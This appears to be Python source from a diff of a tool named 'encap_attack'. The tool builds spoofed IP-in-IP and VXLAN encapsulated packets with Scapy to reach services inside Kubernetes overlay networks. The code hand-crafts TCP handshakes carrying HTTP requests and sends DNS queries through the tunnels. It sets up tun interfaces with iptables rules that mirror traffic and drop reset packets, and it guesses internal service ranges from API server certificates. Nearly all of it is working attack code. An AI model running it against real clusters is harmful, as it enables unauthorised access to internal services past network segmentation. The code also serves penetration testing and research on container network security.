if wait: sleep(0.1) # this ensures sniffers have started properly before we expect a response
if (name == ""): name = "packet"
if newline: click.echo()
if (self._verbose):
click.secho(f"Sending {name}:", fg="magenta", bold=True)
click.echo(packet.show2(dump=True))
else:
click.echo(click.style(f"Sending {name}: ", fg="magenta", bold=True) + str(packet))
if self._iface_calculated:
sendp(packet, loop=0, verbose=self._verbose)
else:
sendp(packet, loop=0, verbose=self._verbose, iface=self._iface)
def _verboseSnifferPacketHandler(self, packet: Packet) -> None:
"""Log a sniffed packet if in verbose mode."""
if (self._verbose):
click.echo(f"\n\nSniffed packet:\n{packet.show2(dump=True)}")
def _getAsyncSniffer(self, filter: str, count: int) -> AsyncSniffer:
"""Get a Scapy AsyncSniffer, forcing the interface to use if required."""
if self._iface_calculated:
s = AsyncSniffer(filter=filter, count=count, timeout=20, prn=self._verboseSnifferPacketHandler)
return s
else:
return AsyncSniffer(filter=filter, count=count, timeout=20, prn=self._verboseSnifferPacketHandler, iface=self._iface)
def __processTunnelPacket(self, packet: Packet) -> None:
"""Encapsulate a packet and send it on."""
if (IP not in packet or packet[IP].dst != self._iface_ip):
if (self._verbose): click.echo("\n")
click.echo(f"\nEncapsulating packet: {packet}")
encapsulatedPacket = self._getPacketHeader() / packet
self._sendPacket(encapsulatedPacket, "encapsulated packet", wait=False, newline=False)
elif (self._verbose):
click.echo(f"Ignoring packet: {packet.summary()}")
def runTunnel(self, tunnel_meta: TunnelMeta) -> None:
"""Start a tun interface to encapsulate specific traffic before sending."""
tun_number = 0
while (os.path.exists(f"/sys/net/tun{tun_number}")):
tun_number += 1
tun_iface = f"tun{tun_number}"
t = TunTapInterface(tun_iface)
os.system(f"ip link set {tun_iface} up")
os.system(f"ip a add {self._iface_ip} dev {tun_iface}")
if (self._verbose): click.echo(f"Created tunnel interface {tun_iface}")
for route in tunnel_meta.getRoutes:
os.system(f"ip ro add {route} dev {tun_iface}")
if (self._verbose): click.echo(f"Added route for {route} via tunnel interface {tun_iface}")
direct_routing_gateway_ip = tunnel_meta.getDirectRoutingGatewayIP
if (direct_routing_gateway_ip):
os.system(f"ip a add {direct_routing_gateway_ip} dev {tun_iface}")
os.system(f"iptables -t mangle -A PREROUTING -i {self._iface} -j TEE --gateway {direct_routing_gateway_ip}")
if (self._verbose): click.echo(f"Added gateway IP {direct_routing_gateway_ip} to tunnel interface {tun_iface} and started duplicating all incoming packets on {self._iface} to this interface")
click.secho(f"\nStarting tunnel {tun_iface}, press Ctrl+C to stop...\n", fg="magenta", bold=True)
try:
sniff(prn=self.__processTunnelPacket, iface=tun_iface, store=0)
finally:
click.secho("\n\nTunnel closed", fg="red")
if (direct_routing_gateway_ip):
os.system(f"iptables -t mangle -D PREROUTING -i {self._iface} -j TEE --gateway {direct_routing_gateway_ip}")
if (self._verbose): click.echo(f"Stopped duplicating incoming packets to tunnel interface")
if (self._verbose): click.echo(f"Deleted tunnel interface {tun_iface}")
def __submitHTTP(self, request_payload: str, dst_ip: str, dst_port: int, src_port: int) -> list:
"""Send an encapsulated HTTP request and return the response."""
request_payload = request_payload.replace("\\n", "\n").replace("\\r", "\r")
os.system(f"iptables -A OUTPUT -p tcp --tcp-flags RST RST -s {self._iface_ip} -j DROP")
full_header = self._getPacketHeader() / IP(src = self._iface_ip, dst=dst_ip)
syn_packet = full_header / TCP(sport=src_port, dport=dst_port, flags="S")
syn_sniff = self._getAsyncSniffer(filter=f"tcp and port {src_port}", count=1)
syn_sniff.start()
self._sendPacket(syn_packet, "SYN")
syn_sniff.join()
if (not hasattr(syn_sniff, "results") or len(syn_sniff.results) < 1):
click.secho("\nRequest timed out.", fg="red", bold=True)
return []
synack = syn_sniff.results[0]
ack_sniff = self._getAsyncSniffer(filter=f"tcp and port {syn_packet[TCP].sport}", count=3)
ack_sniff.start()
ack_packet = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=synack[TCP].ack, ack=synack[TCP].seq+1)
self._sendPacket(ack_packet, "ACK")
ack_push = full_header / TCP(sport=src_port, dport=dst_port, flags="AP", seq=synack[TCP].ack, ack=synack[TCP].seq+1) / Raw(load=request_payload)
self._sendPacket(ack_push, "ACK PUSH")
ack_sniff.join()
if (not hasattr(ack_sniff, "results") or len(ack_sniff.results) < 3):
click.secho("\nRequest timed out.", fg="red", bold=True)
return []
if ("F" in ack_sniff.results[2][TCP].flags):
click.echo("Server closing connection")
ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq)
self._sendPacket(ack, "ACK")
fin_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="FA", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq+1)
self._sendPacket(fin_ack, "FIN ACK")
else:
ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=ack_sniff.results[1][TCP].ack, ack=ack_sniff.results[1][TCP].seq+1)
self._sendPacket(ack, "ACK")
fin_ack_sniff = self._getAsyncSniffer(filter=f"tcp and port {syn_packet[TCP].sport}", count=1)
fin_ack_sniff.start()
fin_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="FA", seq=ack_sniff.results[2][TCP].ack, ack=ack_sniff.results[2][TCP].seq+1)
self._sendPacket(fin_ack, "FIN ACK")
fin_ack_sniff.join()
final_ack = full_header / TCP(sport=src_port, dport=dst_port, flags="A", seq=fin_ack_sniff.results[0][TCP].ack, ack=fin_ack_sniff.results[0][TCP].seq+1)
self._sendPacket(final_ack, "ACK")
os.system(f"iptables -D OUTPUT -p tcp --tcp-flags RST RST -s {self._iface_ip} -j DROP")
return ack_sniff.results
def sendHTTP(self, request_payload: str, dst_ip: str, dst_port: int = 80, src_port: Optional[int] = None) -> None:
"""Submit an encapsulated HTTP request and print the response."""
if (not src_port): src_port = randint(1000,65000)
if (self._verbose): click.echo(f"TCP source port: {src_port}")
response = self.__submitHTTP(request_payload + "\r\n\r\n", dst_ip, dst_port, src_port)
click.echo("\nResponse:")
if (len(response) > 1):
click.echo()
for r in response:
if hasattr(r[TCP], "load"): click.echo(r[TCP].load)
else:
click.secho(" No response returned.", fg="red", bold=True)
def __submitDNS(self, dst_ip: str, qname: str, qtype: str, dst_port: int, src_port: int) -> dict[str, Union[str, int]]:
"""Send an encapsulated DNS request and return the response."""
packet = self._getPacketHeader() / IP(src = self._iface_ip, dst=dst_ip) / UDP(sport=src_port, dport=dst_port) / DNS(rd=1, qd=DNSQR(qname=qname,qtype=qtype))
sniff = self._getAsyncSniffer(filter=f"udp and port {src_port}", count=1)
sniff.start()
self._sendPacket(packet, "DNS packet")
sniff.join()
if (len(sniff.results) == 0):
click.secho("\nRequest timed out.", fg="red", bold=True)
return {}
try:
response = sniff.results[0][UDP]
except:
click.secho("Unable to process response.", fg="red", bold=True)
return {}
results = {}
for i in range(0, response.ancount):
record = response.an[i]
if (qtype == "SRV"):
name = record.target.decode().rstrip('.')
results[name] = record.port
else:
name = record.rrname.decode().rstrip(".")
results[name] = record.rdata
return results
def sendDNS(self, dst_ip: str, qname: str, qtype: str, dst_port: int = 53, src_port: Optional[int] = None) -> dict[str, Union[str, int]]:
"""Send an encapsulated DNS request and print the response."""
if (not src_port): src_port = randint(1000,65000)
results = self.__submitDNS(dst_ip, qname, qtype, dst_port, src_port)
click.echo("\nResponse:")
for name, port in results.items():
click.secho(f" {name}: {port}", fg="green", bold=True)
if len(results.items()) == 0:
click.secho(" No records returned.", fg="red", bold=True)
return results
class IPIPEncapsulationModel(EncapsulationModel):
def __init__(self, intermediary_dst_ip: str, spoofed_src_ip: Optional[str] = None, spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, verbose: bool = False) -> None:
"""Initialise an IP-in-IP encapsulation model."""
super().__init__(intermediary_dst_ip, spoofed_src_ip=spoofed_src_ip, spoofed_src_mac=spoofed_src_mac, iface=iface, iface_ip=iface_ip, verbose=verbose)
def _getPacketHeader(self) -> Packet:
"""Get an IP-in-IP header."""
ether = Ether(src=self._spoofed_src_mac,dst=self._intermediary_dst_mac)
return ether / IP(src=self._spoofed_src_ip,dst=self._intermediary_dst_ip)
class VXLANEncapsulationModel(EncapsulationModel):
def __init__(self, intermediary_dst_ip: str, inner_dst_mac: str, vni: int = 4096, vxlan_src_port: Optional[int] = None, vxlan_dst_port: int = 4789, spoofed_src_ip: Optional[str] = None, spoofed_src_mac: Optional[str] = None, iface: Optional[str] = None, iface_ip: Optional[str] = None, verbose: bool = False) -> None:
"""Initialise a VXLAN encapsulation model."""
if (not vxlan_src_port): vxlan_src_port = randint(1000,65000)
super().__init__(intermediary_dst_ip, spoofed_src_ip=spoofed_src_ip, spoofed_src_mac=spoofed_src_mac, iface=iface, iface_ip=iface_ip, verbose=verbose)
self._inner_dst_mac = inner_dst_mac # VTEP of target node
self._vni = vni
self._vxlan_src_port = vxlan_src_port
self._vxlan_dst_port = vxlan_dst_port
def _getPacketHeader(self) -> Packet:
"""Get a VXLAN header."""
outer_ether = Ether(src=self._spoofed_src_mac,dst=self._intermediary_dst_mac)
inner_ether = Ether(src=self._iface_mac,dst=self._inner_dst_mac)
return outer_ether / IP(src=self._spoofed_src_ip,dst=self._intermediary_dst_ip) / UDP(sport=self._vxlan_src_port,dport=self._vxlan_dst_port) / VXLAN(vni=self._vni, flags="Instance") / inner_ether

72
src/encap_attack/utils/util_models.py Normal file
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import click
from scapy.all import *
import threading
class TunnelMeta:
def __init__(self, routes: list[str] = [], direct_routing_gateway_ip: str = None) -> None:
"""Initialise a tunnel metadata model, to store information about a tunnel before it is configured."""
self.__routes = routes
self.__direct_routing_gateway_ip = direct_routing_gateway_ip
@property
def getRoutes(self) -> list[str]:
"""Get the defined routes."""
return self.__routes
@property
def getDirectRoutingGatewayIP(self) -> str:
"""Get the direct routing gateway IP address."""
return self.__direct_routing_gateway_ip
class DetectorSniffer:
def __init__(self, iface: str, timeout: int, verbose: bool) -> None:
"""Initialise a detector sniffer."""
self.__iface = iface
self.__timeout = timeout
self.__verbose = verbose
self.__protocol = "unknown"
if (self.__iface):
if (self.__timeout):
self.__sniffer = AsyncSniffer(timeout=self.__timeout, prn=self.__packetHandler, iface=self.__iface)
else:
self.__sniffer = AsyncSniffer(prn=self.__packetHandler, iface=self.__iface)
else:
if (self.__timeout):
self.__sniffer = AsyncSniffer(timeout=self.__timeout, prn=self.__packetHandler)
else:
self.__sniffer = AsyncSniffer(filter="", prn=self.__packetHandler)
def run(self) -> str:
click.secho("\nListening for encapsulated packets...", fg="magenta", bold=True)
self.__sniffer.start()
# ensure inconsequential errors thrown by sniffer are ignored
threading.excepthook = lambda e: None
self.__sniffer.join()
return self.__protocol
def __packetHandler(self, packet) -> None:
"""Process sniffed packets and stop sniffing if encapsulated packet detected."""
if (VXLAN in packet and IP in packet and Ether in packet[VXLAN] and IP in packet[VXLAN]):
# packet is VXLAN
click.secho("\nIdentified VXLAN packet:", bold=True)
click.echo(" Outer: " + click.style(f"{packet[IP].src} -> {packet[IP].dst}", fg="cyan", bold=True))
click.echo(" VXLAN: " + click.style(f"VNI: {packet[VXLAN].vni}, VTEP: {packet[VXLAN][Ether].dst}", fg="cyan", bold=True))
click.echo(" Inner: " + click.style(f"{packet[VXLAN][IP].src} -> {packet[VXLAN][IP].dst}", fg="cyan", bold=True))
self.__protocol = "VXLAN"
elif (IP in packet and IP in packet[IP][1:]):
# packet is IP-in-IP
click.secho("\nIdentified IP-in-IP packet:", bold=True)
click.echo(" Outer: " + click.style(f"{packet[IP].src} -> {packet[IP].dst}", fg="cyan", bold=True))
click.echo(" Inner: " + click.style(f"{packet[IP][1:][IP].src} -> {packet[IP][1:][IP].dst}", fg="cyan", bold=True))
self.__protocol = "IP-in-IP"
else:
return
if (self.__verbose):
click.secho("\nFull packet:", fg="magenta", bold=True)
click.echo(packet.show2(dump=True))
self.__sniffer.stop()

124
src/encap_attack/utils/utils.py Normal file
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import socket, fcntl, struct, ssl, OpenSSL, click, ipaddress
from encap_attack.utils.util_models import *
def getIfaceIp(iface: str) -> str:
"""Get an interface's default IP."""
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', iface[:15].encode())
)[20:24])
def getDefaultIfaceIp(dst_ip: str) -> str:
"""Get the default interface's IP address for a specific destination IP."""
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((dst_ip, 53))
ip = s.getsockname()[0]
s.close()
return ip
def getCert(dst: str, port: int):
"""Get a certificate and return it in X509 format."""
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
try:
conn = socket.create_connection((dst, port))
except Exception as e:
click.secho(f"Unable to connect: {e}", fg="red", bold=True)
return None
sock = context.wrap_socket(conn, server_hostname=dst)
sock.settimeout(20)
try:
der_cert = sock.getpeercert(True)
finally:
sock.close()
return OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, ssl.DER_cert_to_PEM_cert(der_cert))
def getCertSANs(cert) -> list[str]:
"""Get a certificate's Subject Alternative Name records."""
extensions = (cert.get_extension(i) for i in range(cert.get_extension_count()))
for e in extensions:
if (e.get_short_name() == b'subjectAltName'):
return str(e).split(", ")
return []
def getIPSANs(sans: list[str]) -> list[str]:
"""Get the IP entries from a certificate's Subject Alternative Name records."""
ip_sans = []
for san in sans:
if (san.startswith("IP Address:")):
ip_sans.append(san.replace("IP Address:", ""))
return ip_sans
def getDNSSANs(sans: list[str]) -> list[str]:
"""Get the DNS entries from a certificate's Subject Alternative Name records."""
ip_sans = []
for san in sans:
if (san.startswith("DNS")):
ip_sans.append(san.replace("DNS:", ""))
return ip_sans
def getCertDetails(cert) -> tuple[str, str, list[str]]:
"""Extract the subject, issuer, and Subject Alternative Names records from an X509 certificate."""
subject = dict(cert.get_subject().get_components())
issuer = dict(cert.get_issuer().get_components())
return (subject, issuer, getCertSANs(cert))
def guessRoutes(dst: str, port: int) -> tuple[str, list[str], str]:
"""Get the TLS certificate from a Kubernetes API server, and use the Subject Alternative Name records of the contained certificate to guess the cluster DNS suffix, service IP range, and DNS server IP address."""
cert = getCert(dst, port)
if (cert == None):
return ("", [], "")
subject, issuer, sans = getCertDetails(cert)
click.secho("Kubernetes API server certificate information:", bold=True)
click.echo(" Subject: " + click.style(subject[b'CN'].decode(), fg="cyan", bold=True))
click.echo(" Issuer: " + click.style(issuer[b'CN'].decode(), fg="cyan", bold=True))
ips = getIPSANs(sans)
click.echo(" IPs: " + click.style(', '.join(ips), fg="cyan", bold=True))
hostnames = getDNSSANs(sans)
click.echo(" Hostnames: " + click.style(', '.join(hostnames), fg="cyan", bold=True))
priv_ips = [ip for ip in ips if ipaddress.ip_address(ip).is_private]
cluster_dns_suffix, dot_count = ("", 0)
for hostname in hostnames:
count = hostname.count(".")
if count > dot_count:
try:
suffix = hostname.split(".", 3)[3]
except:
# hostname is not fully-qualified
continue
cluster_dns_suffix = suffix
dot_count = count
if len(priv_ips) > 0:
ip_parts = priv_ips[0].split(".")
guessed_cidr = f"{ip_parts[0]}.{ip_parts[1]}.0.0/12"
click.echo("\nGuessed service CIDR: " + click.style(guessed_cidr, fg="green", bold=True))
guessed_dns = f"{ip_parts[0]}.{ip_parts[1]}.0.10"
click.echo(f"kube-dns DNS server may be available at: " + click.style(f"{guessed_dns}:53", fg="green", bold=True))
click.echo(f"Cluster DNS suffix: " + click.style(cluster_dns_suffix if cluster_dns_suffix else "unknown", fg="green", bold=True))
return (cluster_dns_suffix, [guessed_cidr], guessed_dns)
else:
click.echo("Unable to guess service CIDR")
return (cluster_dns_suffix, [], "")
def detectEncap(iface: str, timeout: int, verbose: bool):
"""Sniff network traffic for encapsulated packets and return the encapsulation protocol."""
detector = DetectorSniffer(iface, timeout, verbose)
protocol = detector.run()
if (protocol == "unknown"):
click.secho("\nNo network encapsulation detected", fg="red", bold=True)
else:
click.secho(f"\nDetected encapsulation protocol: {protocol}", fg="green", bold=True)